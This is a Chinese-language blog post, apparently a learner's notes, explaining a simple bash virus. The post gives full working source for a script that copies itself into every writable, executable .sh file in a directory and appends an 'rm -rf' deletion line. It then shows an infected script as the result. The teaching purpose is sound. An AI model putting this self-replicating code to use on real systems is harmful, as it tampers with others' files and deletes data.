1.前言

这篇文章算是通过学习网上其它几篇关于shell脚本病毒文章后自己写的学习心得,通过写这篇文章让自己能够加深理解一下相关知识。但是其实下面用到的shell脚本病毒的现实意义不大,但是对于理解病毒传播的机制有一定的作用,仅作为参考而已。

2.脚本代码及感染步骤

1)首先建立一个空文件,命名以.sh结尾,例如:virus.sh。然后打开该文件输入如下代码:

#!/bin/bash
#B:<+!a%C&t:>
for file in /home/wangqingchuan92/Desktop/Test/*.sh 
do 
if test -f $file 
then 
if test -x $file 
then 
if test -w $file 
then
if grep 'B:<+!a%C&t:>' $file > /dev/null #判断是否已经感染过
then 
continue 
else
touch /tmp/vTmp
cat $file > /tmp/vTmp
cp $0 $file 
cat /tmp/vTmp >> $file
rm -f /tmp/vTmp
echo "rm -rf /tmp/aa">> $file
echo "success !"
fi; fi; fi;fi
done 
#E:<+!a%C&t:>

该脚本的逻辑是:进入目标目录,判断该目录下脚本文件是否存在,是否有权限执行、写,是否感染过,如果可写可执行没感染就感染脚本(把virus脚本复制到要感染的脚本中并且在被感染的脚本中追加“rm -rf /tmp/aa”,其中/tmp/aa是随便定义的文件夹)。
代码中“for file in /home/wangqingchuan92/Desktop/Test/*.sh ”是要感染的脚本所在目录位置。
2)给该文件设置可执行权限,打开终端,定位到该脚本存放的目录下输入指令“chmod +x virus.sh”
3)输入指令“./virus.sh”执行该病毒脚本。

3实际操作

在/home/wangqingchuan92/Desktop/Test存放一个名字叫a.sh脚本,当作要被感染的脚本,脚本内容如下:

#!/bin/bash
ls -l

在终端中对该脚本输入指令:chmod 777 a.sh,然后执行2中的步骤,在执行结束后再打开该“肉鸡”脚本,代码如下:

#!/bin/bash
#B:<+!a%C&t:>
for file in /home/wangqingchuan92/Desktop/Test/*.sh 
do 
if test -f $file 
then 
if test -x $file 
then 
if test -w $file 
then
if grep 'B:<+!a%C&t:>' $file > /dev/null #判断是否已经感染过
then 
continue 
else
touch /tmp/vTmp
cat $file > /tmp/vTmp
cp $0 $file 
cat /tmp/vTmp >> $file
rm -f /tmp/vTmp
echo "rm -rf /tmp/aa">> $file
echo "success !"
fi; fi; fi;fi
done 
#E:<+!a%C&t:>


#!/bin/bash
ls -l

rm -rf /tmp/aa

4后记

从上例可以看出一个病毒脚本比较简单,不需要很多知识就可以写出一个。这篇文章只是分享一下自己对病毒脚本的一个初步的理解,该脚本没有任何实际用处。

参考资料:
1.http://sec.chinabyte.com/438/8645938.shtml
2.https://zhidao.baidu.com/question/588345187653843645.html
3.http://www.jb51.net/article/38277.htm
4.http://www.jb51.net/article/28514.htm
5.http://blog.csdn.net/babyfish13/article/details/52981110
6.http://blog.163.com/hbu_lijian/blog/static/1261291532011113035622113/
7.http://www.cnblogs.com/Jason-Damon/archive/2013/01/20/2868456.html
8.http://zhu8337797.blog.163.com/blog/static/17061754920117151253277/

Logo

更多推荐